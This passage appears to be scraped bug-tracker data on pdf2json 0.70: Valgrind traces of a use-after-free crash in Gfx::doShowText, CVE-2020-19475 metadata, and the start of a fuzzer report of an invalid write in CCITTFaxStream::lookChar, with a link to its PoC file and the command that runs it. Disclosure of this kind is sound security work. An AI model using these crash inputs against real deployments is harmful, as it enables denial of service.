/home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x4064E9: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:106) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2af58 is 8 bytes inside a block of size 16 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46947A: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x468F7E: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 1 ==22556== at 0x577A570: __strcmp_sse2_unaligned (strcmp-sse2-unaligned.S:24) ==22556== by 0x406516: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:110) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2afa0 is 0 bytes inside a block of size 16 free'd ==22556== at 0x4C2F74B: operator delete[](void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C698: GString::~GString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x469472: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E80F: operator new[](unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48E420: GString::resize(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C1C7: GString::GString(char const*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x468F8C: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 4 ==22556== at 0x467E4E: GfxFont::getType() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x462C66: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2b068 is 40 bytes inside a block of size 4,584 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46C5E3: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x469005: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x4636BD: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2b040 is 0 bytes inside a block of size 4,584 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46C5E3: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x469005: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== pure virtual method called terminate called without an active exception ==22556== ==22556== Process terminating with default action of signal 6 (SIGABRT) ==22556== at 0x5710428: raise (raise.c:54) ==22556== by 0x5712029: abort (abort.c:89) ==22556== by 0x4EC984C: __gnu_cxx::__verbose_terminate_handler() (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21) ==22556== by 0x4EC76B5: ??? (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21) ==22556== by 0x4EC7700: std::terminate() (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21) ==22556== by 0x4EC823E: __cxa_pure_virtual (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21) ==22556== by 0x463726: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== HEAP SUMMARY: ==22556== in use at exit: 321,643 bytes in 2,154 blocks ==22556== total heap usage: 6,498 allocs, 4,344 frees, 577,716 bytes allocated ==22556== ==22556== LEAK SUMMARY: ==22556== definitely lost: 16 bytes in 1 blocks ==22556== indirectly lost: 8 bytes in 1 blocks ==22556== possibly lost: 0 bytes in 0 blocks ==22556== still reachable: 321,619 bytes in 2,152 blocks ==22556== of which reachable via heuristic: ==22556== newarray : 264 bytes in 1 blocks ==22556== suppressed: 0 bytes in 0 blocks ==22556== Rerun with --leak-check=full to see details of leaked memory ==22556== ==22556== For counts of detected and suppressed errors, rerun with: -v ==22556== ERROR SUMMARY: 33 errors from 18 contexts (suppressed: 0 from 0) Aborted ~~~ Thanks, Manh Dung

SEGV (use after free) on Gfx::doShowText

https://api.github.com/repos/flexpaper/pdf2json/issues/35/comments

2019-05-29T15:08:20Z

2019-05-29T15:08:20Z

https://github.com/flexpaper/pdf2json/issues/35

CVE-2020-19475

2021-07-21T18:15:08.883

An issue has been found in function CCITTFaxStream::lookChar in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an invalid write of size 2 .

https://github.com/flexpaper/pdf2json/issues/36

github.com

Hi, Our fuzzer found a crash due to an invalid write on the function CCITTFaxStream::lookChar (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_seg_CCITTFaxStream::lookChar Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ==15436== Memcheck, a memory error detector ==15436== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==15436== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==15436== Command: ./pdf2json ./PoC_segv_CCITTFaxStream::lookChar /dev/null ==15436== ... ==15436== Invalid write of size 2 ==15436== at 0x431600: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100bc is 0 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489549: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43FA44: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4284A9: Object::fetch(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A565: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== ==15436== Invalid read of size 2 ==15436== at 0x43162B: CCITTFaxStream::lookChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43ADDC: CCITTFaxStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x4884FD: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489C19: Parser::shift() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489825: Parser::getObj(Object*, unsigned char*, CryptAlgorithm, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454759: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== Address 0x5b100bc is 0 bytes after a block of size 108 alloc'd ==15436== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==15436== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x43051F: CCITTFaxStream::CCITTFaxStream(Stream*, int, int, int, int, int, int, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42CE76: Stream::makeFilter(char*, Stream*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x42C6AF: Stream::addFilters(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==15436== by 0x489AFF: Parser::makeStream(Object*, unsigned char*, CryptAlgorithm, int, int, 